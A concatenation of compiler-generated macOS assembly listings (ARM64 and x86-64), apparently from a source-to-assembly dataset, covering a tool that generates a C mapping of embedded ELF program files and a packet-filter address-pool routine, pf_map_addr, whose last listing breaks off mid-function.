.globl _open_file_with_suffix ## -- Begin function open_file_with_suffix
.p2align 4, 0x90
_open_file_with_suffix: ## @open_file_with_suffix
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rdi
callq _strlen
movq %rax, -40(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq -40(%rbp), %rdi ## 8-byte Reload
addq %rax, %rdi
addq $1, %rdi
shlq $0, %rdi
callq _malloc
movq %rax, -24(%rbp)
movq -24(%rbp), %rdi
movq -8(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movq -24(%rbp), %rdi
movq -16(%rbp), %rsi
movq $-1, %rdx
callq ___strcat_chk
movq -24(%rbp), %rdi
leaq L_.str.32(%rip), %rsi
callq _fopen
movq %rax, -32(%rbp)
movq -24(%rbp), %rdi
callq _free
movq -32(%rbp), %rax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $1072, %rsp ## imm = 0x430
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -1012(%rbp)
movl %edi, -1016(%rbp)
movq %rsi, -1024(%rbp)
cmpl $2, -1016(%rbp)
je LBB9_2
## %bb.1:
leaq L_.str.33(%rip), %rdi
movb $0, %al
callq _printf
movl $-1, -1012(%rbp)
jmp LBB9_12
LBB9_2:
movq -1024(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str.34(%rip), %rsi
callq _open_file_with_suffix
movq %rax, -1032(%rbp)
cmpq $0, -1032(%rbp)
jne LBB9_4
## %bb.3:
movq -1024(%rbp), %rax
movq 8(%rax), %rsi
leaq L_.str.35(%rip), %rdi
movb $0, %al
callq _printf
movl $-1, -1012(%rbp)
jmp LBB9_12
LBB9_4:
leaq -1048(%rbp), %rdi
xorl %esi, %esi
movl $16, %edx
callq _memset
LBB9_5: ## =>This Inner Loop Header: Depth=1
leaq -1008(%rbp), %rdi
movq -1032(%rbp), %rdx
movl $1000, %esi ## imm = 0x3E8
callq _fgets
cmpq $0, %rax
je LBB9_9
## %bb.6: ## in Loop: Header=BB9_5 Depth=1
leaq -1008(%rbp), %rdi
leaq L_.str.36(%rip), %rsi
callq _start_with
cmpl $0, %eax
je LBB9_8
## %bb.7: ## in Loop: Header=BB9_5 Depth=1
leaq -1008(%rbp), %rdi
callq _strlen
subq $4, %rax
movb $0, -1008(%rbp,%rax)
leaq -1008(%rbp), %rdi
callq _variable_name
movq %rax, %rsi
leaq -1048(%rbp), %rdi
callq _append_record
LBB9_8: ## in Loop: Header=BB9_5 Depth=1
jmp LBB9_5
LBB9_9:
movq -1024(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str.37(%rip), %rsi
callq _open_file_with_suffix
movq %rax, -1056(%rbp)
cmpq $0, -1056(%rbp)
jne LBB9_11
## %bb.10:
movq -1024(%rbp), %rax
movq 8(%rax), %rsi
leaq L_.str.35(%rip), %rdi
movb $0, %al
callq _printf
movl $-1, -1012(%rbp)
jmp LBB9_12
LBB9_11:
movq -1032(%rbp), %rsi
movq -1056(%rbp), %rdx
leaq -1048(%rbp), %rdi
callq _write_to_file
movq -1032(%rbp), %rdi
callq _fclose
movq -1056(%rbp), %rdi
callq _fclose
movl $0, -1012(%rbp)
LBB9_12:
movl -1012(%rbp), %eax
movl %eax, -1060(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB9_14
## %bb.13:
movl -1060(%rbp), %eax ## 4-byte Reload
addq $1072, %rsp ## imm = 0x430
popq %rbp
retq
LBB9_14:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L___func__.extend: ## @__func__.extend
.asciz "extend"
L_.str: ## @.str
.asciz "390339.c"
L_.str.1: ## @.str.1
.asciz "self->record != NULL"
L_.str.2: ## @.str.2
.asciz "_"
L_.str.3: ## @.str.3
.asciz "test"
L_.str.4: ## @.str.4
.asciz "elf"
L_.str.5: ## @.str.5
.asciz "typedef struct ElfFile {\n"
L_.str.6: ## @.str.6
.asciz " char *file_name;\n"
L_.str.7: ## @.str.7
.asciz " unsigned char* file_content;\n"
L_.str.8: ## @.str.8
.asciz " int* file_length;\n"
L_.str.9: ## @.str.9
.asciz "} ElfFile;\n\n"
L_.str.10: ## @.str.10
.asciz "#define ELF_FILE_NUM %d\n"
L_.str.11: ## @.str.11
.asciz "extern ElfFile elf_files[%d];\n"
L_.str.12: ## @.str.12
.asciz "extern int get_elf_file(const char *file_name, unsigned char **binary, int *length);\n"
L_.str.13: ## @.str.13
.asciz "#include <string.h> \n"
L_.str.14: ## @.str.14
.asciz "#include \"user_programs.h\"\n"
L_.str.15: ## @.str.15
.asciz "ElfFile elf_files[%d] = {\n"
L_.str.16: ## @.str.16
.asciz " {.file_name = \"%s\", .file_content = %s, .file_length = &%s}%s\n"
L_.str.17: ## @.str.17
.space 1
L_.str.18: ## @.str.18
.asciz ","
L_.str.19: ## @.str.19
.asciz "};\n"
L_.str.20: ## @.str.20
.asciz "int get_elf_file(const char *file_name, unsigned char **binary, int *length)\n"
L_.str.21: ## @.str.21
.asciz "{\n"
L_.str.22: ## @.str.22
.asciz " for (int i = 0; i < %d; ++i) {\n"
L_.str.23: ## @.str.23
.asciz " if (strcmp(elf_files[i].file_name,file_name) == 0) {\n"
L_.str.24: ## @.str.24
.asciz " *binary = elf_files[i].file_content;\n"
L_.str.25: ## @.str.25
.asciz " *length = *elf_files[i].file_length;\n"
L_.str.26: ## @.str.26
.asciz " return 1;\n"
L_.str.27: ## @.str.27
.asciz " }\n"
L_.str.28: ## @.str.28
.asciz " }\n"
L_.str.29: ## @.str.29
.asciz " return 0;\n"
L_.str.30: ## @.str.30
.asciz "}\n\n"
L_.str.31: ## @.str.31
.asciz "_length"
L_.str.32: ## @.str.32
.asciz "r+"
L_.str.33: ## @.str.33
.asciz "Usage: generateMapping <user_programs>\n"
L_.str.34: ## @.str.34
.asciz ".h"
L_.str.35: ## @.str.35
.asciz "Can not open %s.h!\n"
L_.str.36: ## @.str.36
.asciz "extern unsigned char"
L_.str.37: ## @.str.37
.asciz ".c"
.subsections_via_symbols
| the_stack_data/390339.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.comm _a,4,2 ; @a
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _a,4,2 ## @a
.subsections_via_symbols
| the_stack_data/39214.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pf_map_addr ; -- Begin function pf_map_addr
.p2align 2
_pf_map_addr: ; @pf_map_addr
.cfi_startproc
; %bb.0:
sub sp, sp, #176
.cfi_def_cfa_offset 176
stp x29, x30, [sp, #160] ; 16-byte Folded Spill
add x29, sp, #160
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _PF_POOL_TYPEMASK@GOTPAGE
ldr x8, [x8, _PF_POOL_TYPEMASK@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, _PF_ADDR_DYNIFTL@GOTPAGE
ldr x8, [x8, _PF_ADDR_DYNIFTL@GOTPAGEOFF]
str x8, [sp, #40] ; 8-byte Folded Spill
adrp x8, _PF_ADDR_TABLE@GOTPAGE
ldr x8, [x8, _PF_ADDR_TABLE@GOTPAGEOFF]
str x8, [sp, #48] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur w0, [x29, #-32]
stur x1, [x29, #-40]
stur x2, [x29, #-48]
stur x3, [x29, #-56]
stur x4, [x29, #-64]
stur x5, [x29, #-72]
ldur x8, [x29, #-40]
str x8, [sp, #80]
; kill: def $x8 killed $xzr
str xzr, [sp, #72]
str xzr, [sp, #64]
ldur x8, [x29, #-72]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_1
LBB0_1:
ldur x8, [x29, #-40]
ldr w8, [x8]
adrp x9, _PF_POOL_STICKYADDR@GOTPAGE
ldr x9, [x9, _PF_POOL_STICKYADDR@GOTPAGEOFF]
ldr w9, [x9]
ands w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldur x8, [x29, #-40]
ldr w8, [x8]
ldr w9, [x9]
and w8, w8, w9
subs w8, w8, #131
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur x0, [x29, #-48]
ldur x1, [x29, #-40]
ldur w2, [x29, #-32]
mov w3, #0
bl _pf_find_src_node
ldur x8, [x29, #-72]
str x0, [x8]
b LBB0_4
LBB0_4:
ldur x8, [x29, #-72]
ldr x8, [x8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_5
LBB0_5:
ldur x8, [x29, #-72]
ldr x0, [x8]
ldur w1, [x29, #-32]
bl _PF_AZERO
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB0_11
b LBB0_6
LBB0_6:
ldur x0, [x29, #-56]
ldur x8, [x29, #-72]
ldr x1, [x8]
ldur w2, [x29, #-32]
bl _PF_AEQ
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
mov w8, #1
stur w8, [x29, #-28]
b LBB0_74
LBB0_8:
ldur x0, [x29, #-56]
ldur x8, [x29, #-72]
ldr x1, [x8]
ldur w2, [x29, #-32]
bl _PF_ACPY
adrp x8, _V_pf_status@GOTPAGE
ldr x8, [x8, _V_pf_status@GOTPAGEOFF]
ldr x8, [x8]
adrp x9, _PF_DEBUG_MISC@GOTPAGE
ldr x9, [x9, _PF_DEBUG_MISC@GOTPAGEOFF]
ldr x9, [x9]
subs x8, x8, x9
cset w8, lt
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur x0, [x29, #-48]
ldur w2, [x29, #-32]
mov w1, #0
str w1, [sp, #28] ; 4-byte Folded Spill
bl _pf_print_host
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr w1, [sp, #28] ; 4-byte Folded Reload
ldur x0, [x29, #-56]
ldur w2, [x29, #-32]
bl _pf_print_host
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_10
LBB0_10:
stur wzr, [x29, #-28]
b LBB0_74
LBB0_11:
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8]
adrp x9, _PF_ADDR_NOROUTE@GOTPAGE
ldr x9, [x9, _PF_ADDR_NOROUTE@GOTPAGEOFF]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12:
mov w8, #1
stur w8, [x29, #-28]
b LBB0_74
LBB0_13:
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_16
b LBB0_14
LBB0_14:
; %bb.15:
b LBB0_22
LBB0_16:
ldr x9, [sp, #48] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_20
b LBB0_17
LBB0_17:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr w8, [x8]
ldr w9, [x9]
and w8, w8, w9
subs w8, w8, #129
cset w8, eq
tbnz w8, #0, LBB0_19
b LBB0_18
LBB0_18:
mov w8, #1
stur w8, [x29, #-28]
b LBB0_74
LBB0_19:
b LBB0_21
LBB0_20:
ldr x8, [sp, #80]
ldr x8, [x8, #16]
add x8, x8, #16
str x8, [sp, #72]
ldr x8, [sp, #80]
ldr x8, [x8, #16]
add x8, x8, #8
str x8, [sp, #64]
b LBB0_21
LBB0_21:
b LBB0_22
LBB0_22:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr w8, [x8]
ldr w9, [x9]
and w8, w8, w9
subs w8, w8, #128
; kill: def $x8 killed $w8
str x8, [sp, #16] ; 8-byte Folded Spill
subs x8, x8, #4
cset w8, hi
tbnz w8, #0, LBB0_68
; %bb.23:
ldr x11, [sp, #16] ; 8-byte Folded Reload
adrp x10, lJTI0_0@PAGE
add x10, x10, lJTI0_0@PAGEOFF
Ltmp0:
adr x8, Ltmp0
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB0_24:
ldur x0, [x29, #-56]
ldr x1, [sp, #72]
ldur w2, [x29, #-32]
bl _PF_ACPY
b LBB0_68
LBB0_25:
ldur x0, [x29, #-56]
ldr x1, [sp, #72]
ldr x2, [sp, #64]
ldur x3, [x29, #-48]
ldur w4, [x29, #-32]
bl _PF_POOLMASK
b LBB0_68
LBB0_26:
ldur x8, [x29, #-64]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_30
b LBB0_27
LBB0_27:
ldur x0, [x29, #-64]
ldur w1, [x29, #-32]
bl _PF_AZERO
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_30
b LBB0_28
LBB0_28:
; %bb.29:
ldur x0, [x29, #-56]
ldr x1, [sp, #72]
ldr x2, [sp, #64]
ldr x8, [sp, #80]
add x3, x8, #8
ldur w4, [x29, #-32]
bl _PF_POOLMASK
ldur x0, [x29, #-64]
ldur x1, [x29, #-56]
ldur w2, [x29, #-32]
bl _PF_ACPY
b LBB0_31
LBB0_30:
ldr x8, [sp, #80]
add x0, x8, #8
ldur w1, [x29, #-32]
bl _PF_AINC
ldur x0, [x29, #-56]
ldr x1, [sp, #72]
ldr x2, [sp, #64]
ldr x8, [sp, #80]
add x3, x8, #8
ldur w4, [x29, #-32]
bl _PF_POOLMASK
b LBB0_31
LBB0_31:
b LBB0_68
LBB0_32:
ldur x0, [x29, #-48]
ldr x8, [sp, #80]
add x2, x8, #28
ldur w3, [x29, #-32]
sub x1, x29, #24
str x1, [sp, #8] ; 8-byte Folded Spill
bl _pf_hash
ldr x3, [sp, #8] ; 8-byte Folded Reload
ldur x0, [x29, #-56]
ldr x1, [sp, #72]
ldr x2, [sp, #64]
ldur w4, [x29, #-32]
bl _PF_POOLMASK
b LBB0_68
LBB0_33:
ldr x9, [sp, #48] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr x8, [x8, #16]
str x8, [sp, #56]
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_37
b LBB0_34
LBB0_34:
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr w0, [x8, #32]
ldr x8, [sp, #80]
add x1, x8, #4
ldr x8, [sp, #80]
add x2, x8, #8
ldur w3, [x29, #-32]
bl _pfr_pool_get
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_36
b LBB0_35
LBB0_35:
b LBB0_64
LBB0_36:
b LBB0_45
LBB0_37:
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_41
b LBB0_38
LBB0_38:
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8, #24]
ldr w0, [x8, #8]
ldr x8, [sp, #80]
add x1, x8, #4
ldr x8, [sp, #80]
add x2, x8, #8
ldur w3, [x29, #-32]
bl _pfr_pool_get
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_40
b LBB0_39
LBB0_39:
b LBB0_64
LBB0_40:
b LBB0_44
LBB0_41:
ldr x1, [sp, #72]
ldr x2, [sp, #64]
ldr x8, [sp, #80]
add x3, x8, #8
ldur w4, [x29, #-32]
mov w0, #0
bl _pf_match_addr
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_43
b LBB0_42
LBB0_42:
b LBB0_64
LBB0_43:
b LBB0_44
LBB0_44:
b LBB0_45
LBB0_45:
b LBB0_46
LBB0_46: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #80]
ldr x0, [x8, #16]
adrp x8, _entries@GOTPAGE
ldr x8, [x8, _entries@GOTPAGEOFF]
ldr w1, [x8]
bl _TAILQ_NEXT
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB0_48
b LBB0_47
LBB0_47: ; in Loop: Header=BB0_46 Depth=1
ldr x8, [sp, #80]
add x0, x8, #24
bl _TAILQ_FIRST
ldr x8, [sp, #80]
str x0, [x8, #16]
b LBB0_49
LBB0_48: ; in Loop: Header=BB0_46 Depth=1
ldr x8, [sp, #80]
ldr x0, [x8, #16]
adrp x8, _entries@GOTPAGE
ldr x8, [x8, _entries@GOTPAGEOFF]
ldr w1, [x8]
bl _TAILQ_NEXT
ldr x8, [sp, #80]
str x0, [x8, #16]
b LBB0_49
LBB0_49: ; in Loop: Header=BB0_46 Depth=1
ldr x9, [sp, #48] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_55
b LBB0_50
LBB0_50: ; in Loop: Header=BB0_46 Depth=1
ldr x9, [sp, #80]
mov w8, #-1
str w8, [x9, #4]
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr w0, [x8, #32]
ldr x8, [sp, #80]
add x1, x8, #4
ldr x8, [sp, #80]
add x2, x8, #8
ldur w3, [x29, #-32]
bl _pfr_pool_get
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_54
b LBB0_51
LBB0_51: ; in Loop: Header=BB0_46 Depth=1
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x9, [sp, #56]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_53
b LBB0_52
LBB0_52: ; in Loop: Header=BB0_46 Depth=1
b LBB0_46
LBB0_53:
mov w8, #1
stur w8, [x29, #-28]
b LBB0_74
LBB0_54:
b LBB0_63
LBB0_55: ; in Loop: Header=BB0_46 Depth=1
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8]
ldr x9, [x9]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_61
b LBB0_56
LBB0_56: ; in Loop: Header=BB0_46 Depth=1
ldr x9, [sp, #80]
mov w8, #-1
str w8, [x9, #4]
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x8, [x8, #24]
ldr w0, [x8, #8]
ldr x8, [sp, #80]
add x1, x8, #4
ldr x8, [sp, #80]
add x2, x8, #8
ldur w3, [x29, #-32]
bl _pfr_pool_get
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_60
b LBB0_57
LBB0_57: ; in Loop: Header=BB0_46 Depth=1
ldr x8, [sp, #80]
ldr x8, [x8, #16]
ldr x9, [sp, #56]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_59
b LBB0_58
LBB0_58: ; in Loop: Header=BB0_46 Depth=1
b LBB0_46
LBB0_59:
mov w8, #1
stur w8, [x29, #-28]
b LBB0_74
LBB0_60:
b LBB0_62
LBB0_61:
ldr x8, [sp, #80]
ldr x8, [x8, #16]
add x8, x8, #16
str x8, [sp, #72]
ldr x8, [sp, #80]
ldr x8, [x8, #16]
add x8, x8, #8
str x8, [sp, #64]
ldr x8, [sp, #80]
add x0, x8, #8
ldr x1, [sp, #72]
ldur w2, [x29, #-32]
bl _PF_ACPY
b LBB0_62
LBB0_62:
b LBB0_63
LBB0_63:
b LBB0_64
LBB0_64:
ldur x0, [x29, #-56]
ldr x8, [sp, #80]
add x1, x8, #8
ldur w2, [x29, #-32]
bl _PF_ACPY
ldur x8, [x29, #-64]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_67
b LBB0_65
LBB0_65:
ldur x0, [x29, #-64]
ldur w1, [x29, #-32]
bl _PF_AZERO
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_67
b LBB0_66
LBB0_66:
ldur x0, [x29, #-64]
ldur x1, [x29, #-56]
ldur w2, [x29, #-32]
bl _PF_ACPY
b LBB0_67
LBB0_67:
ldr x8, [sp, #80]
add x0, x8, #8
ldur w1, [x29, #-32]
bl _PF_AINC
b LBB0_68
LBB0_68:
ldur x8, [x29, #-72]
ldr x8, [x8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_70
b LBB0_69
LBB0_69:
ldur x8, [x29, #-72]
ldr x0, [x8]
ldur x1, [x29, #-56]
ldur w2, [x29, #-32]
bl _PF_ACPY
b LBB0_70
LBB0_70:
adrp x8, _V_pf_status@GOTPAGE
ldr x8, [x8, _V_pf_status@GOTPAGEOFF]
ldr x8, [x8]
adrp x9, _PF_DEBUG_MISC@GOTPAGE
ldr x9, [x9, _PF_DEBUG_MISC@GOTPAGEOFF]
ldr x9, [x9]
subs x8, x8, x9
cset w8, lt
tbnz w8, #0, LBB0_73
b LBB0_71
LBB0_71:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr x8, [sp, #80]
ldr w8, [x8]
ldr w9, [x9]
and w8, w8, w9
subs w8, w8, #131
cset w8, eq
tbnz w8, #0, LBB0_73
b LBB0_72
LBB0_72:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldur x0, [x29, #-56]
ldur w2, [x29, #-32]
mov w1, #0
bl _pf_print_host
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_73
LBB0_73:
stur wzr, [x29, #-28]
b LBB0_74
LBB0_74:
ldur w8, [x29, #-28]
str w8, [sp, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_76
b LBB0_75
LBB0_75:
bl ___stack_chk_fail
LBB0_76:
ldr w0, [sp, #4] ; 4-byte Folded Reload
ldp x29, x30, [sp, #160] ; 16-byte Folded Reload
add sp, sp, #176
ret
.cfi_endproc
.p2align 2
lJTI0_0:
.long LBB0_32-Ltmp0
.long LBB0_33-Ltmp0
.long LBB0_26-Ltmp0
.long LBB0_24-Ltmp0
.long LBB0_25-Ltmp0
; -- End function
.comm _PF_POOL_STICKYADDR,4,2 ; @PF_POOL_STICKYADDR
.comm _PF_POOL_TYPEMASK,4,2 ; @PF_POOL_TYPEMASK
.comm _V_pf_status,8,3 ; @V_pf_status
.comm _PF_DEBUG_MISC,8,3 ; @PF_DEBUG_MISC
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "pf_map_addr: src tracking maps "
l_.str.1: ; @.str.1
.asciz " to "
l_.str.2: ; @.str.2
.asciz "\n"
.comm _PF_ADDR_NOROUTE,8,3 ; @PF_ADDR_NOROUTE
.comm _PF_ADDR_DYNIFTL,8,3 ; @PF_ADDR_DYNIFTL
.comm _PF_ADDR_TABLE,8,3 ; @PF_ADDR_TABLE
.comm _entries,4,2 ; @entries
l_.str.3: ; @.str.3
.asciz "pf_map_addr: selected address "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pf_map_addr ## -- Begin function pf_map_addr
.p2align 4, 0x90
_pf_map_addr: ## @pf_map_addr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -40(%rbp)
movq %rsi, -48(%rbp)
movq %rdx, -56(%rbp)
movq %rcx, -64(%rbp)
movq %r8, -72(%rbp)
movq %r9, -80(%rbp)
movq -48(%rbp), %rax
movq %rax, -88(%rbp)
movq $0, -96(%rbp)
movq $0, -104(%rbp)
movq -80(%rbp), %rax
cmpq $0, (%rax)
jne LBB0_4
## %bb.1:
movq -48(%rbp), %rax
movl (%rax), %eax
movq _PF_POOL_STICKYADDR@GOTPCREL(%rip), %rcx
andl (%rcx), %eax
cmpl $0, %eax
je LBB0_4
## %bb.2:
movq -48(%rbp), %rax
movl (%rax), %eax
movq _PF_POOL_TYPEMASK@GOTPCREL(%rip), %rcx
andl (%rcx), %eax
cmpl $131, %eax
je LBB0_4
## %bb.3:
movq -56(%rbp), %rdi
movq -48(%rbp), %rsi
movl -40(%rbp), %edx
xorl %ecx, %ecx
callq _pf_find_src_node
movq %rax, %rcx
movq -80(%rbp), %rax
movq %rcx, (%rax)
LBB0_4:
movq -80(%rbp), %rax
cmpq $0, (%rax)
je LBB0_11
## %bb.5:
movq -80(%rbp), %rax
movq (%rax), %rdi
movl -40(%rbp), %esi
callq _PF_AZERO
cmpq $0, %rax
jne LBB0_11
## %bb.6:
movq -64(%rbp), %rdi
movq -80(%rbp), %rax
movq (%rax), %rsi
movl -40(%rbp), %edx
callq _PF_AEQ
cmpq $0, %rax
je LBB0_8
## %bb.7:
movl $1, -36(%rbp)
jmp LBB0_73
LBB0_8:
movq -64(%rbp), %rdi
movq -80(%rbp), %rax
movq (%rax), %rsi
movl -40(%rbp), %edx
callq _PF_ACPY
movq _V_pf_status@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq _PF_DEBUG_MISC@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jl LBB0_10
## %bb.9:
leaq L_.str(%rip), %rdi
callq _printf
movq -56(%rbp), %rdi
movl -40(%rbp), %edx
xorl %esi, %esi
callq _pf_print_host
leaq L_.str.1(%rip), %rdi
callq _printf
movq -64(%rbp), %rdi
movl -40(%rbp), %edx
xorl %esi, %esi
callq _pf_print_host
leaq L_.str.2(%rip), %rdi
callq _printf
LBB0_10:
movl $0, -36(%rbp)
jmp LBB0_73
LBB0_11:
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rax
movq _PF_ADDR_NOROUTE@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_13
## %bb.12:
movl $1, -36(%rbp)
jmp LBB0_73
LBB0_13:
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rax
movq _PF_ADDR_DYNIFTL@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_16
## %bb.14:
## %bb.15:
jmp LBB0_22
LBB0_16:
movq -88(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rax
movq _PF_ADDR_TABLE@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_20
## %bb.17:
movq -88(%rbp), %rax
movl (%rax), %eax
movq _PF_POOL_TYPEMASK@GOTPCREL(%rip), %rcx
andl (%rcx), %eax
cmpl $129, %eax
je LBB0_19
## %bb.18:
movl $1, -36(%rbp)
jmp LBB0_73
LBB0_19:
jmp LBB0_21
LBB0_20:
movq -88(%rbp), %rax
movq 16(%rax), %rax
addq $8, %rax
addq $8, %rax
movq %rax, -96(%rbp)
movq -88(%rbp), %rax
movq 16(%rax), %rax
addq $8, %rax
movq %rax, -104(%rbp)
LBB0_21:
jmp LBB0_22
LBB0_22:
movq -88(%rbp), %rax
movl (%rax), %eax
movq _PF_POOL_TYPEMASK@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
andl %ecx, %eax
addl $-128, %eax
movl %eax, %ecx
movq %rcx, -120(%rbp) ## 8-byte Spill
subl $4, %eax
ja LBB0_67
## %bb.76:
movq -120(%rbp), %rax ## 8-byte Reload
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_23:
movq -64(%rbp), %rdi
movq -96(%rbp), %rsi
movl -40(%rbp), %edx
callq _PF_ACPY
jmp LBB0_67
LBB0_24:
movq -64(%rbp), %rdi
movq -96(%rbp), %rsi
movq -104(%rbp), %rdx
movq -56(%rbp), %rcx
movl -40(%rbp), %r8d
callq _PF_POOLMASK
jmp LBB0_67
LBB0_25:
cmpq $0, -72(%rbp)
je LBB0_29
## %bb.26:
movq -72(%rbp), %rdi
movl -40(%rbp), %esi
callq _PF_AZERO
cmpq $0, %rax
